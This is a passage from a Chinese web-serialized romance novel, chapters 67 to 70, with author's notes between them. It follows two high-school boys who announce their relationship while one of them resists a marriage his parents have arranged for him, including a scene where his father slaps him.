于是在文强又问:“隽云你和匙越关系怎么这么好了啊?” 他冷冷勾唇:“他们在谈恋爱。” “!???” 石破天惊一句话,留下在风中凌乱变成一个僵硬石头的文强,一颗颗碎裂开来。 文强发出尖锐爆鸣:“你说“什么!!??” “蠢货。” 柳元誉嗤笑一声,喝了一口酒,他高傲地转身离开了—— 作者有话说:[可怜][可怜]别锁我了我哭我哭我哭哭哭 评论区发guicc红包[爆哭] 第67章 第六十七章 “我们在一起了。”…… 隽云问匙越:“你以前真的是社会招考生吗?” 匙越没想到他会问这个。 他确实还有一件事情瞒着他, 他以前也不是单纯在东城区生活的贫困生。 但是他确实是是作为社会招考生考入星耀的,考试是他自己去考的,只是以前的身份不单纯而已, 知道他想问什么但是问题问错了,于是匙越对他那句“社会招考生”进行回复。 “我是社会招考生。” 隽云就陷入了疑惑当中, 单纯的东城区长大的孩子,有能力去调查他的事情吗? 为什么闵家能参与进叶馨言的事情? 恰在这时,文强机械地追过来, 挤入他们中间, 左右僵硬地转头看,问他们:“真的吗?” 隽云皱眉:“什么真的假的?” “你们还想瞒着我!!!” 文强憋着一张脸, 左看右看,陆思华被他父母带去和隽云父母攀谈了,年长的人都在寒暄, 但是还有不少人看向他们这里,于是文强不得不压低声音: “不是!?你们真的好在一起了???真的假的啊?你们” 他看着他俩,视线来回在他们身上晃,好半天脸都涨红了,他今天才成年, 每天都在玩泥巴的文强没想到他俩恋爱都已经谈上了? 他大惊:“你们谈恋爱了!!!!!” 他又憋出一句话:“你们才多大啊!” 隽云:“” 再大声点让全场人都听到呢? 隽云和他差不多高, 眼角弧度很长,垂下眼时有一层薄薄的线,看起来没什么感情,此刻却轻轻地“嗯”了一声。 文强大吐血:“你俩关系才刚缓和没多久吧?怎么就能谈上了呢?” 他反应过来:“不对你们到底是什么时候在一起的?是游学之后吗?我记得你们那时候还一起打野战来着” “那是游击战。”隽云额角青筋一跳,纠正他的错误:“谢谢。” 文强却已经沉浸到了回忆当中:“我记得那时候回学校的大巴车上,匙越还和我换坐,他还帮你拿饭原来, 你们那时候就好了!” “噢噢!那时候你晕倒了也是匙越抱你去的。” “噢~我说怎么每次吃饭的时候他要挨着你坐。” “再之前,我说怎么” 眼看文强翻旧账翻个没完没了了,隽云受不了了: “停!” 文强非常受伤地捂住小心脏:“小云云你有了老公就忘了我是吧?” 老公 从来没有想过这个称呼。 隽云下意识抬眼去看匙越,于是撞入了匙越似笑非笑的双眸里。 文强立刻抓包:“你还看他!” 隽云:“” 他解释:“没有。” 文强已然沉浸在自己的世界里无可自拔了:“我就说群里怎么天天都在议论你们是不是不会打架了,还时不时蹦出来有偿收你们走在一起的背影照。” “群?”匙越挑了挑眉:“什么群?” 文强这才反应过来他说漏嘴了。 隽云和匙越是那个群议论的中心焦点人物,这种群给他俩知道了那还了得? 他讪笑了几声,下一秒就要开溜,一把被匙越抓住了后颈的衣服提回来,文强不甘心:“我今天是寿星!寿星!你们不能这么对我!!!” 隽云:“晚了。” 他把手机递过去:“邀请我进群,就现在。” 于是在文强的顽强抗争下,最终还是没有拧过他们,在匙越的威逼利诱下把隽云拉进群。 [这是?] [谁啊?@清醒也是一种罪?群主介绍一下新成员呗。] 群提示音:用户“sy1011”进入群聊,快和大家打个招呼吧~ [咦?怎么又有新人进群了?我们这一届又来新人了?] [我次我怎么还有他的好友啊,这不是匙越吗] [纳尼?谁???] [不是吧?我靠匙越和隽云怎么进群了啊?] [怎么还是两个人一起进的群啊?] [对不起,好银乱,噢不是,好混乱,我悄悄磕一口。] [不是,隽云,我可没说过你的坏话,都是别人说的。] [楼上是叛徒。] [加一] [我去,楼上也太舔了吧!?不过我也要说一句,我可没说过你们俩的坏话]- 清醒也是一种罪?:[当事人就在这里,你们有什么想问的就问吧。] 群里一片死寂。 [我我我,我有question,这个问题想问很久了。]- 云:说吧。 [你们下次约架的时候能叫上群友吗?我是真的想看!!!] [悄悄附议。] [附议加一] [附议加二] 在群聊天记录附议达到99+的时候,匙越已经让文强给安排了管理员的头衔,这样方便他艾特所有人,他发了一个消息- sy1011:@全体成员,我们在一起了。 群里所有人看到这个消息的时候都死机了。 * 隽云和匙越在一起了的消息不胫而走,在学校里掀起轰然大波。 私下针对他们俩的议论持续了好几天都没有平息,身处在风暴中心的隽云却毫无所察。 只是感觉学生会的人来班里检查的时候总是盯着他看,是高一届没见过的学弟学妹们,推搡着绕过前讲台然后不经意间看他几眼,最后尖叫着跑出去。 模糊的“好配”落在他的耳朵里,隽云面无表情地看书,只是觉得心情好像有点好。 这样的好心情持续了几天,直到一天,晚上回去的时候看到他爸妈在客厅。 隽诉和元青在沙发上坐着,一个人在拿着电脑处理企业的事务,一个人戴着金丝眼镜在沙发上看报纸,见隽云回来了,隽诉叫住要上楼的隽云: “小云,你过来一下。” 隽云就背着书包过去了,在一边站着,眼皮微垂,就听到隽诉通知他一个事情:“和叶家的联姻取消吧。” 隽云还来不及高兴,左眼皮跳了跳,就看到元青惬意地抿了一口咖啡,嫣红的红唇张合: “你的婚事改成和陆家联姻了,我们已经和陆家商定好了。” 什么 隽云:“我不同意。” “我不和陆家联姻!我又不喜欢他。” 元青把咖啡杯搁在托盘上:“喜不喜欢并不重要。” 她说完后又柔和了一点,语气尽量轻了点:“陆思华你认识,他和你从小到大都读的一个学校,为人谦和,你和他又知根知底,他家家境也不错,和你联姻哪里不好了?” 隽诉:“陆家那孩子都说他愿意了,我看那孩子挺好的,而且你们又从小一起长大,陆家人也很喜欢你。” “如果我们两家联姻,陆家愿意让出5%的生物制药业企业的股份给我们,隽家就能开拓新的版图了,并且在城东地皮的建设上出资十几个亿来支持我们,在城东的地皮上,我们很有希望能赢过闵家,拿下城东地皮的招标。” 原来是因为这些原因。隽云听着有些喘不过来气,他说:“那我呢?” 好不容易摆脱了叶家,又来一个陆家,他算什么?他真的是机器人吗? 他没有感情的吗? 他是什么随便就可以支配的东西吗? “从小到大”隽云觉得他应该已经不会生气了,此刻却说了一句话,喉咙里就涌上酸涩,甚至鼻尖泛红: “不管我做什么你们都不满意。” 他的胸膛起伏,拳头攥紧了,此刻异常地愤怒,为什么总不顾他的意愿,从来不考虑他的喜好,擅自给他安排那些事情? 叶家陆家 所有的一切,不会听他说一个字,只会冷冰冰安排他的每一步,他就是一个趁手的棋子。 “不管我去哪里,交了哪些朋友,你们都要知道,我房间的监控,出门后跟在我身后的保镖我的一举一动都被监视着。” 他的眼睛已经泛上雾气:“我每天每天都紧绷着,从小到大我都尽力做到让你们满意,所有课程、作业、考试都拿A+,你们” 他停顿了一下,在隽诉和元青冷淡看过来的视线中,恍然发现和他们说这些是没有用的,他垂下眼眸,把那些酸胀的情绪收拾好,咽下去,他说: “我不会和陆家联姻。” 听到这句话,隽诉猛地一拍沙发扶手:“由不得你说了算!” “我就是不和他联姻” 打断他的是猛然朝他挥过来的一巴掌。 “啪。”清脆的响声。 鲜红的五个指印印在脸上。 隽诉:“你还要闹到什么时候!?” 隽云难以置信地抬手,颤抖着碰了一下脸,红肿热痛的灼热感传来,其次才是自尊的碎裂。 他朝楼上走去,眼眶通红,他向来是不太会在别人面前流泪的,所以此刻再多说也没有用,他冒出一个想法,他想要逃离这里。 这里真的是他的家吗? 元青叹一口气:“我们做的这一切,不都是为了你好?” 回应她的是隽云将房门猛地关上的巨大响声。 * 第二天,隽云戴着口罩去上学,他一双眼睛看上去非常淡漠,在文强叽叽喳喳地问他:“怎么回事呢?怎么又突然戴口罩了?” 他吐出一个字来:“滚。” 文强看他面色精神还可以就没说什么了,毕竟之前很长一段时间隽云眼下都有乌青,这段时间才像个高中生,眼下的黑眼圈淡了不少,而且偶尔甚至脸颊十分红润。 隽云掐了掐眉心,仰头吐了一口气。 还没等他想好联姻的事情要怎么办,偏偏这时候后桌的陆思华点了点他的后背:“我有事要和你说。” 隽云转过头:“什么事?” 黑色的口罩罩住了大半张脸,只漏出一段鼻梁和白皙的脸庞,黑白分明的眼瞳没什么情绪地看着他。 “联姻的事。” 隽云:“不会和你联姻。” 陆思华一顿,他没想到隽云拒绝的这么快,甚至他还没来得及说什么。 “你就这么这么讨厌我?” 为什么他能和叶馨言联姻,他就不行? “我想我应该要和你说明白,我有喜欢的人,” 隽云吸了一口气,脸颊有点滚烫,不过幸好他带了口罩: “而且,我想大家都知道了” “我们在一起了。” 说出这句话的时候他的眼睫不自然地眨了几下,要当着别人的面承认恋爱不亚于要他当着别人的面和匙越表白。 实在是一件需要勇气的事情。 但是他想他应该和陆思华说明白。 隽云的手机一震,他低头去看是谁发来的消息,浮在锁屏顶上的消息显示是匙越发来的- sy1011:在、干、什、么、—— 作者有话说:在、干、什、么、 评论区发小红包[彩虹屁][彩虹屁] 第68章 第六十八章 “发春了。” 他的眼神飘忽到某个斜对角落, 对上一张眼眸漆黑的脸。 陆思华:“我还在和你说话,你能先别看他吗?” 隽云:“” 他就在匙越持之以恒不懈地骚扰中关掉手机屏幕,面不改色地看着陆思华说:“你说吧。” 陆思华:“这次联姻, 我也非常意外。” 上课铃响后,隽云坐回自己的座位上时还久久回不过神来, 陆思华告诉他,这次联姻他也没办法,是两家父母商议的结果, 也不是他能说了算的。 紧接着陆思华告诉他, 如果他们真的结婚了,隽家和陆家都会从中收益非常多。 聊天的过程中, 手机一直在震动,像是彰显存在感一样。聊完后隽云看了一下手机,匙越在他和陆思华聊天的时候, 分别给他发了五个表情包,中间穿插着一些消息:- sy1011:可爱小狼低着头背着手走来走去.jpg- sy1011:呆萌可爱小狼从远处走近.jpg- sy1011:呆萌小狼贴在镜头上舔来舔去.jpg- sy1011:呆萌小狼坐在地上哭泣.jpg 头上飘着文字:你在干什么呀?- sy1011:呆萌小狼叼着小兔子的耳朵把它拖回巢穴.jpg 隽云看着,对匙越丰富的表情包感到非常的匪夷所思。 到底是从哪弄来的这些可爱表情包? 一个人的独角戏表情包如今也是迎来第二个角色了,虽然怎么看那个小兔子怎么有点像指代他 “?” 隽云心里一凛,心想他果然还是被匙越带坏了, 不然怎么会这么想。 把脑海中乱七八糟的杂念摒除掉, 刚好这时老师进来教室,把书放在讲台上,她宣布一个事情: “本学期期末考会安排在一月十二、十三号,也就是星期四星期五,连考两天,你们还有一个星期的时间来复习,准备考试。” 快期末考了, 最近星耀中学又恰逢建校两百七十七周年。 今天一整个下午学校里都有活动,邀请了当红明星来表演,又开办了美食节、社团也跟着摆了长长的一条廊道,让学生们都能参与有趣的社团活动。 不过他们已经高三了,星耀中学每年在建校期的这一天都会大搞活动,他们虽然课程不忙,但是学业相对高一二的来说还是比较重的,所以下午前三节课都要上课。 等到第三节课下课的时候所有人都一窝蜂地冲出去了,隽云在教室里把书本整理好。 他已经把作业都写完了,看了一下手机,班里有人邀请他去打高尔夫。 自从游学回来,隽云能很明显地感觉到班里的人似乎和他亲近不少,大概是一起同过苦,班级凝聚力就增强了很多。 他们也才终于觉得,隽家并不像传言中那么可怕,隽云也并不那么冷淡,他会路过帮他们捡掉下来的东西,把自己的零食让给长跑坚持不下去的人补充体力,甚至看到人满头大汗地爬上山的时候让位置出来给别人坐,自己去坐树底下。 于是他们盛情邀请他一起去打高尔夫。 隽云觉得也没什么好推脱的,高尔夫是他的强项,一定能把他们虐成渣。 于是他把书本合上,就加入他们了。 打完出了点汗,他看了一下手机,前不久匙越又来给他发了消息- sy1011:你在哪? 隽云觉得匙越真的匙非常黏人的,他现在如果太久没回消息他就会打电话过来- sy1011:Q口Q! 隽云还没打完字,匙越一个电话就过来了。 果然。 非常黏人。 看着手机屏幕上跳跃的“匙越”两个字,第一次觉得自己有点像电影里疲惫的丈夫一样,很累了,还要接受妻子不定期的电话抽查,他深沉地叹了一口气,无可奈何地按了接听。 “喂?”低沉而磁性低音炮在耳边响起。 隽云:“” “在哪呢?”又是一句浑然天成的气泡音。 隽云心念一动,他也刻意压了压嗓子,奈何他的嗓子比较清润,压着一点也不低沉,反而显得鬼鬼祟祟的: “我在高尔夫球馆这里。” 没有出来气泡音,反而气音压的匙越都听不清他在说什么了,他疑惑: “你现在不方便说话吗?” 他低沉的笑声传入隽云的耳朵,隽云忍不住把手机稍微拿远了一点,揉了揉耳朵,心说他说话就好好说,嘴离手机这么近干什么。 隽云恢复了正常的声音:“我在高尔夫球场。” “噢,要来篮球馆吗?” “不了,我想回班里了。” 那声音小下去了,换了一种声线,听起格外委屈:“你都不来找我。” 又来, 隽云心想,又来了。 “等着。”隽云淡淡道。 挂完电话后,他又收到了匙越发来的消息- sy1011:【表情包.jpg】 呆萌小狼半躺在地上撑着胳膊,手肘撑地,手掌搭在下巴上,翘着腿晃悠,眼睛亮星星地透过屏幕看向对面的人。 又给他发这种可爱萌萌的表情包,隽云盯着看了一下,然后把他的备注改为小狗- 云:再发个表情包过来。 他一边走,一边等匙越发消息过来,手机震了一下,消息刚好刷新,昵称也刷新出来了- 小狗:呆萌小狼撑墙,亲缩在角落的兔叽.jpg- 云: 谁是小兔叽。 体育馆场馆很大,设施每年都会维护,所以篮球、篮筐、场地看上去都非常新。 外面的天灰蒙蒙的,路灯已经开启了,隽云换上一个新的口罩戴上,走在路上把拉链拉上了一点,几乎把大半张脸都遮住了。 从篮球馆走二楼的电梯进入观众席,然后随便找了个位置坐下了。 左右环顾了一下,观众席零零散散坐着几十个人,出于可能匙越会找不到他的想法,他往前坐,在了第一排。 第一排挨着篮球场场地,甚至都没有栏杆隔开,第一排的阶梯离地面的间距比较高,作为观众席和篮球场的隔开。 隽云在场馆环顾了一圈,匙越穿着9号球服,正在恣意地运球,绕过一个当着他的beta,然后转身,球一丢,篮球在篮筐板上发出“哐当”一声,球进了。 “哇——” “好酷——” “球技不错” 鼓掌声和惊呼声响起,离隽云比较近的几个omega指着意气风发的匙越交头接耳,隽云恍然,好像是挺帅的。 匙越手长脚长,很适合打篮球,隽云看着他他穿着蓝白的短裤,露出小麦色的腿,白长袜,鞋子是紫色的运动鞋,是他送的牌子。 穿着他送的衣服打球 隽云顿时有一种很微妙的感觉。 匙越跑着跑着出了很多汗,蓝白样式的球服被随意撩起一角,擦额头上往下淌的汗,隽云看到他的腹肌清晰紧实,上面挂了汗。 那几个omega的位置传来尖叫声,让隽云顿时蹙了蹙眉。 匙越在外面也太招蜂引蝶了。 虽然没做错什么,但是他这样很不守alpha德。隽云面无表情,但在心里指指点点。 裁判吹哨,到了中场休息时间。 隽云戴着口罩穿的严实,怕他认不出他,于是手插在兜里,站起身,俨然成为人群里最瞩目的那一个。 果不其然,匙越一边擦汗一边到球场边堆叠的衣服里拿出手机,看了一下消息就猛地抬头,环顾场内,很快就锁定了隽云。 他把手机一丢,眼睛一亮,一路小跑过来,跑的很着急,头发飞扬,非常的青春肆意。 一步边跨过高高的阶梯,匙越来到隽云面前,喘着气问他: “等很久了吗?” “没多久。” 看到他的脸上还有汗,隽云从身上翻找出来手帕,递给他:“擦擦吧。” 匙越就又拿到了他的手帕。 他随便抹了一下脸上的汗,然后罔顾周围还有人的情况,双手捧着,埋着吸了一口:“好香。” 隽云往后靠了一点,离他稍微远了一点:“” 好变态。 隽云转头看了看周围,看到不少人的视线都落在他们身上,觉得自己有必要担当起净化大家眼睛的义务,于是伸手说: “还我吧。” 于是匙越就拿着认真擦汗了,仿佛和刚才不是一个人。 只是象征性擦两把汗他把帕子就揣进自己的裤兜里了。 “”隽云干脆睁一只眼闭一只眼。 给他就给他了,他还有很多。 匙越接过隽云递来的水,拧开瓶盖喝了几口,喉结滚动,一边喝一边单手撑着腰,环顾场内,挂着汗的喉结滚动,浓浓的雄性alpha气味铺面而来。 隽云脸一热,看着他有点发愣。 自认为他自己也是个男的,但是面对这样的匙越,也很难承认不被他吸引。 看着浑身散发着运动后热气的匙越三下五除二地咕咚咽下水后,把水瓶递给他。 隽云没接。 匙越就晃了晃:“嗯?” 隽云伸手接过,恰在这时场内又有人在叫匙越上场了,匙越转头朝场内做了个手势示意再等等。 隽云坐下,把水瓶顺手放在旁边的凳子上,刚想说快去上场吧,就看到匙越的手肘撑在膝盖上弯着腰,突然凑近。 “啊?” “我去——” 惊叫声从侧后方传来,隽云看着突然放大的俊脸也突然一吓,忍不住屏住呼吸,一眨不眨地往后仰。匙越瞥了眼那几个尖叫的omega,然后抬手摸了摸他的头发。 乌黑的发丝如流水一样在指尖划过,匙越忍不住又揉了揉,俯身和他平视,看着他的眼睛,凑近他说: “等我回来。” “”匙越的嗓音低醇,隽云的心跳骤然加快,“咚咚咚”几乎要冲出胸膛,但是他脸皮薄,最终还是勉强移开视线,盯着地面,然后发出一声细若蚊吶的: “嗯” 难得看到这么乖的隽云,他穿着冬季的红色校服冲锋衣外套简直就像一个外壳硬硬脆脆烤面包皮里面裹着柔软软绵的面包,匙越摸着他头发的手一顿, 想亲 但是在公众场合,他还是稍微克制住了,不然在这么多人面前亲他,隽云回头又要小发雷霆生气了不回他消息。 那当然不行。 于是匙越只能悻悻作罢,回到场地内打球的时候余光总是要瞄一眼隽云。 场馆开了暖气,隽云脸庞白皙头发乌黑,两手放在膝盖上,坐的端正,戴着口罩衣服拉链拉最顶上,坐在观众席上显得很小一个,像个被包裹的软软好捏的馒头。 偶尔回头的时候看到隽云也注视着他,匙越就更有干劲了,猛猛抢球,然后投篮。 风一阵疾速而过,穿着红白色球衣的alpha手里的篮球顿时就空了,他还保持着拍球的动作,呆了两秒。 不是?? 这兄弟没事吧? 他和他是一队的啊自己队的球都抢? “哐当——” 篮球被投起,以一个完美的抛物线进了篮筐,然后重重地砸在了地上。 “哇——” “球又进了——” “九号好厉害啊!” 观众席的欢呼声响起。 很快又开始了下一场,匙越左右闪避,又突破防守,猛地一个转身的假动作,把对方队的球抢了过来,然后左右运球,找突破口。 一个alpha纳闷地拿袖子擦擦下巴的汗珠:“匙哥怎么今天这么猛啊?” “发春了。” 柳元誉经过他旁边,准备拦球—— 作者有话说:评论区发篮球红包 第69章 第六十九章 “匙越,你带我走吧。”…… 话是这么说, 他们却不得不开始全力防守匙越。 隽云只觉得刚才进场馆的时候感觉他们打的还算有来有回,进度不算快,但是在匙越喝完水回去后, 战况似乎就突然激烈起来了。 隽云看到匙越猛地拍球,然后带球过人, 旁边的队友接应他,挡住对方队的球员。 球几个运转抛球,最终又重新回到匙越手里, 而匙越也恰好到了篮筐底下, 于是带着球一个上抛,将球砸到了篮筐里, 并且手刚好摸到球框,甚至借着球框的力度,单手挂在上面挂了两秒才往下跳下来。 确实 非常酷 似乎看到匙越朝他这里瞟了一眼。 隽云一愣, 观众席已经热起来了,不少人都站起来加油呐喊和鼓掌,隽云也就跟着开始鼓掌,觉得刚才可能是错觉。 “太厉害了——” “九号这么会打?” “腿部爆发力量可以嘛。” “好帅啊!!!” 隽云心想,他也懂一点篮球, 知道匙越这样确实挺厉害的, 不过是在线内投的球,即便挂篮球框上了也只能拿两分。 场内气氛活跃,隽云觉得这赢已经毫无悬念了,这样单方面的碾压,压倒性的胜利。 匙越甚至还能拿个全场最佳MVP。 不过对方的队伍还在全力防守,隽云认出一些人来,那些都是学生会的成员, 他高一高二和他们一起扫楼违纪物品过。 没想到匙越能和他们玩到一起去。 星耀中学很重家世门楣,学生们之间也不遑多让,他想到最初他以为他当学生代表也会很不容易,就像刚开学第一天就会被班里的同学刁难一样。 只是现在看来也是很好地融入了。 比赛已经没什么看头,隽云目光懒散,因为昨天晚上没睡好,有点累,他坐在凳子上,往后仰靠后面稍微高一点的护栏上,一边看匙越打篮球,一边散漫地想一些心事。 他爸妈让他和陆家联姻,但是现在目前消息还是封锁着的,就只有陆家两家知道这个事情,这也只是两家商议的结果。 他要怎么做,才能让联姻不那么顺利进行下去呢? 昨天晚上在和匙越打电话的时候他就在想这件事情,心里闷着事情,对匙越说的话只是“嗯嗯”几声,没说什么话,匙越等了一会儿以为他睡了,没多久就挂断了电话。 隽云没有再拨回去,越想着事情越感到焦虑,忍着开始麻麻泛上骨头的压力,在黑夜里蜷缩着大口呼吸,他闷在被子里,脸色瓷白挂着汗珠。 他很久没有吃过那个药了,昨天晚上忍着没吃,在黑夜里难眠地翻来覆去,好几个小时都睡不着,后来挨到天光快亮了才有点睡意。 现在气氛挺好的,不过那些人都坐的离他稍微有点远,所以隽云反倒看着篮球投来投去,像什么转动的催眠球,忍不住眼皮打架,越来越困越来越困 四周的热闹声响反倒变成了一种噪杂的背景音,总比在无尽沉寂的黑暗里要让人安心的多,甚至灯光都不晃眼了,隽云迷迷糊糊睡着了。 最后一场打完,匙越把球往柳元誉那里一丢,然后撩起衣服下摆擦汗,薄肌肌块分明,白皙挂着汗水,引来一阵场上人的尖叫,他一边擦汗一边朝朝着隽云所在方向瞄了一眼。 然后就看到他展示完美肌肉线条和完美的运球姿势的对象,正仰着头,闭着眼,气定神闲地睡大觉。 匙越:“” 他走过去,一步跃上阶梯,又穿过椅子走道,走到隽云身边,看到隽云真的睡着了。 “” 他越过他拿起他旁边的水瓶,自顾自地喝了几口水缓缓,然后盯着隽云,隽云仰着头,浓密的睫毛垂着,暴露出来的脖颈修长皮肤柔软,他的胸膛随着呼吸有规律地轻微起伏。 没有要醒来的意思。 匙越拿出手机,对着隽云拍了一张照片。 拍完后欣赏了一下,单手放大他的脸部细节,在白炽灯的投影下,隽云的睫毛在眼窝上投下一层淡淡的阴影,甚至在光的照映下能看到细小的绒毛。 等等 他手指一顿,把隽云眼窝处放大,又放下手机凑近他的脸。 周围的声音都小声了,不少人明里暗里盯着他们看,有的兴奋地拍打着隔壁人的手臂。 匙越伸出一根手指,在隽云的眼睛下面轻轻抹了一下,看指腹,指腹上面干干净净,但是隽云眼睛下面有一点不明显的淤红。 他挡着别人的视线,轻轻勾住隽云的黑色口罩一角,掀开来。 这一动作即便再轻柔也难免不吵醒隽云,他迷蒙着睁开眼。 匙越就把他的口罩挂回耳朵上,只有零点几秒,他看到了上面还残留的一点没消掉的红肿的巴掌印。 隽云感受到了动静,还处在迷茫当中没有缓过来,看着匙越看了好几秒,才呆愣着问: “你干什么?” 匙越不说话,他捡起隽云旁边凳子上的黑色书包,搭在肩膀上,然后从兜里拿出隽云的帕子,擦了擦脖颈上的汗,又塞回自己的口袋里。 隽云还困着呢就被匙越牵住手,拉过去手臂。 匙越一只手臂背着隽云的书包,一只手托着他的臀,把他抱起来了,隽云下意识环住他的脖颈,一下就清醒了。 “???” 周围的窃窃私语声突然大了起来,隽云半个身体都搭在他的身上,身体骤然悬空的感觉让他下意识抱紧了匙越。 “匙越!!快放我下来!!!” “不放。” 匙越单手把他抱着走,周围的人不断地吹口哨,隔壁场地打篮球的人都看过来了。 “你你干什么!” “不放。” “”隽云干脆把脑袋埋进他的胸膛,额头抵在他的肩膀上,放弃挣扎了。 这个无赖! 很丢脸。于是隽云就这么埋着鹌鹑脑袋,被匙越抱出了体育馆。 匙越的胸膛宽阔、温暖,出体育馆的时候看到外面树干都光秃秃的,路灯一排排开着一路蜿蜒下去,天空是蓝灰色的,黑色的树干扭曲盘旋升上天空。 回想到他们在学校第一次见面的时候,那时候树木葱郁,绿荫成片,现在却是望不到尽头的萧瑟。 但是匙越抱着他稳步走着,他身上也是温暖的,好像也是很幸福的。 隽云嘴角扬起,窝在匙越怀里,突然又想到了他的婚事,心情又沉下来。 他装着心事,甚至连匙越抱着他一句话也没说的反常举动也没有察觉到,临近最后一节课天都已经黑下来了,阴沉沉的天空刮着风,隽云环着他的脖子,风吹过他们,酸涩和甜蜜地鼓动。 好像有匙越在那些让人心慌的、担忧的事情总会找到解决办法的,但是他心想如果他爸妈不同意,他也会找到解决办法吗? 如果没有办法了呢? 匙越抱着他掂了掂,问他:“你在想什么?” 隽云闷闷地说:“没什么。” “隽云。”匙越很少这么正式地叫他的大名,脸色也不是很好看:“有什么事情一定要和我说。” “嗯。”隽云低低应了一声。 “所以,你脸上的伤怎么回事?” 隽云一惊,匙越看到他脸上的伤了!? 匙越又掂了一下他,然后换了个姿势,让他双腿错开搭在他的腰上,自己则托着他的臀部,然后他在隽云迟疑着没说话的时候,掂了一下他,手在他的屁股上非常轻地拍了一下。 “说话。” “你干什么!”隽云立马腰肢一挺,作势就要跳下来,匙越就又在他的屁股上轻轻拍了一下:“别闹。” “???” 是谁在闹? 隽云转头看了看四周,幸好这条路比较偏僻,没什么人走,此刻也没什么人注意到他们,隽云却整张脸都烧起来了。 他整张脸都涨红了,震惊了好半响才小声抗议说:“你你打我屁股” “嗯。”匙越眼里有一丝笑意,他低着头看着他说:“因为你有事情瞒着我,不告诉我。” “为什么要瞒着我?”匙越:“你脸上的伤怎么回事?” “”隽云顿时哑了火,不自在地偏过头,下巴擦过他的肩膀,好半天两人没说话,他汗毛一竖,感觉匙越又要拍他了。 “这里是学校!!!”隽云脸一热,他挺直腰杆,却不料让自己和匙越贴的更紧,他挣扎着要下来: “我说还不行吗?” 匙越抱着他没让他下来,隽云的小腿在他的身侧不自在地晃荡了一下,他两只手伸在他的肩膀上搭着,大腿无意识在他的腰侧蹭了蹭,才慢吞吞地说: “是我爸妈打的。” 果然 匙越抱着他的手收紧了,脸色一下阴沉下来。 “为什么打你?” “我要和陆思华联姻了。” 匙越脚步停下来。 “陆思华?” 隽云:“嗯。” 他往后仰一点,拉开和匙越的距离和他对视,他们这一块区域离路灯有点远,不远处是亮着灯的教学楼,匙越的眼睛像一块黑沉的曜石,里面闪着一点微光,更深层面的东西他却觉得看不到底,有点可怕,好半天,匙越才收回视线,抱着他继续往前走。 “那你想和他联姻吗?”匙越的话听不出来语气起伏。 隽云就说:“我不想。” 匙越点头:“那会找到办法的。” 隽云不语,匙越说:“会有办法的。” 没用的,走了叶馨言还有陆思华,就算不是陆思华也会是别人 隽云就闭上眼睛,他沉沉呼出一口气,轻声说: “匙越,你带我走吧。”—— 作者有话说: 评论区发[抱抱][抱抱]红包 第70章 第七十章 “我们私奔吧。” 匙越抱着隽云回教室的, 幸好最后一节课,回去的时候已经下课了。 绕过楼梯的时候隽云看到有一个人已经在教室门口等着了。 是那个要还手表的omega。 他靠在前门旁的墙上,看到匙越的时候露出来一个微笑, 视线下移,在看到隽云的时候僵住了。 不过隽云背对着他没看到他的表情, 只是感觉匙越还没到教室门口就停下来了,晃了一下小腿,懒懒问:“怎么了?” 匙越看着那个omega, 偏了偏头, 靠着隽云的耳朵说:“还手表的人来了,要不要先拿手表?” 隽云就转过头去, 看到那个omega站在门口,脸色难看地看着他,手上戴着他的监控手表。 想起来他对他说过什么, 隽云眼睛一转,他突然捧住匙越的脸。 匙越:“?” “啵。”隽云非常响亮地在匙越的侧脸上亲了一下。 匙越和omega男生都呆在原地。 隽云满意地从匙越身上跳下来,拍了拍他的肩膀,叮嘱他:“在这等我。” 匙越双唇微张,迷茫地看着他, 表情介于爽和难以置信之间, 摸了摸自己的脸,上面还有濡湿的触感。 太傻了。隽云有些不忍直视地转头。 他走到男生面前,伸手:“给我吧。” 男生被隽云的动作点了一下,如梦初醒:“哦哦” 他脸色有点一言难尽地复杂,慌乱地把手表取下来交给他,隽云戴上,转身, 挥一挥手:“你可以走了。” 男生站在那里看着隽云走进去,他的目光落在匙越身上,只是匙越看也没看他一眼,跟条狗一样跟在隽云身后进了教室。 教室人没有很多,隽云取了书包,打算就这样回家的时候,一只手从旁边伸出,把他的书包接过。 隽云:“?” 他转头去看,匙越凑过来勾勾他的手指,堵在走道上像一堵墙,他往后一步他往前一步,垂着眼直勾勾地看着他: “等会我们一起走吧。” 这黏糊劲隽云又觉得无语又觉得好笑,叹了口气,说:“好吧。” 这时候又无所谓了。 反正他们也已经公开了关系。 反正刚才被匙越抱回来的时候都被很多人看到了。 * 从教室到校门还有一段距离,隽云和匙越并肩走,匙越一个肩膀背着一个包,手里拿着手机还在回学生会那边的消息,一个没注意,隽云落了单。 隽云本来今天的状态其实也不是太好,他忍不住猜,为什么那句话匙越没有回应他。 匙越回过头见他有心事的模样,就牵了一下他的手,指尖捏了一下,问他:“怎么了?” 隽云盯着他缓慢地摇头:“没什么。” 在校园里牵着手走路确实还是有些大摇大摆的大胆了,放学路上好多人,比刚才回教室碰到的人还多,隽云很难放松,很难做到匙越的厚脸皮和若无其事,他坚决地手指张着不回握。 指尖从匙越的指间冒出来,示意他:“喂,松开。” 匙越握紧了。 “” 有几个人跟在他们后面窃窃私语: “怎么回事,隽云不是和叶馨言订婚了吗?” “诶呀早取消了,叶馨言都进局子了。” “那隽云现在是” “据说他和匙越在一起了。” “诶,匙越不是听说是私生子吗,这怎么配得上隽云啊?” “闵家还是不能和隽家这种世家相比,闵家才几年啊?” “几十年了虽然,但是也就是个暴发户嘛” “我也觉得有点配不上隽云,还是叶馨言好。” 隽云和匙越对视一眼,刚才还立着绝不回握的手马上弯曲,握着匙越的手紧了紧,表明自己的立场,以及刚才那些话不是他说的。 “我们这样好像变态啊。” “不管啦。” “我拍到了。” “我拍的更好看。” “桀桀桀” “?” 隽云察觉到什么,他立马拿出兜里的手机看了一下之前文强拉他进的群聊,自从他和匙越进了群,群里就很少再讨论他们了——这也是文强告诉他们的。 有讨论学习的、有讨论零食的、有吐槽班主任的往上翻阅的手指停顿了,那是一张有点糊的图片,他点开。 那是匙越抱着他在瑟缩的冬天里走的照片,两人的身影几乎隐于黑暗当中,隽云的脑袋靠在匙越的肩膀上 ,两腿晃着——除非当事人来认领,不然这图糊的谁都不认识。 划着下面一溜地打着谁啊,谁啊?他在发照片的人发了个嘘的表情包的消息上停顿了一下。 然后返回有照片的聊天记录,点开,保存在手机里了。 匙越牵着他的手晃了晃:“在看什么?” 隽云吸了吸鼻子:“没什么。” 他们自己倒是没照过一张照,反而都保存得别人拍的。 等会可能又有他们的照片发在群里了。 算了,也不管了,等会再保存一下。 他把手机收回兜里,看到匙越的包,问他:“你又不带作业回去,干嘛每天都要背着个空包啊。” 匙越:“你不懂——” “我们成功人士,不管有没有作业,都是要背着包的。” 